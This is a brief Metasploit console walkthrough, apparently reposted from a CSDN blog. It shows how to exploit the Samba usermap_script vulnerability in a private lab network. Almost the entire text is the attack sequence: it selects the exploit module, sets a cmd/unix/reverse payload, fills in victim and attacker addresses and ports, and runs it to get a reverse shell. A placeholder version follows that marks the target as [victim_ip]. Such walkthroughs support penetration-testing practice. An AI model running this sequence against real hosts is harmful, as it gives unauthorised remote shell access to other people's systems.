msf > search samba
msf > use exploit/multi/samba/usermap_script
msf exploit(multi/samba/usermap_script) > set payload cmd/unix/reverse
msf exploit(multi/samba/usermap_script) > set RHOST 192.168.56.120
msf exploit(multi/samba/usermap_script) > show options
msf exploit(multi/samba/usermap_script) > set RPORT 445
msf exploit(multi/samba/usermap_script) > set LHOST 192.168.56.119
msf exploit(multi/samba/usermap_script) > show options
msf exploit(multi/samba/usermap_script) > exploit
注意:
msf > set RHOST [victim_ip]
m
msf > set RPORT 445
m
msf > set LHOST [our_ip]
m
msf > set LPORT [use default]
来源:CSDN
作者:xiadingling
链接:https://blog.csdn.net/xiadingling/article/details/82794486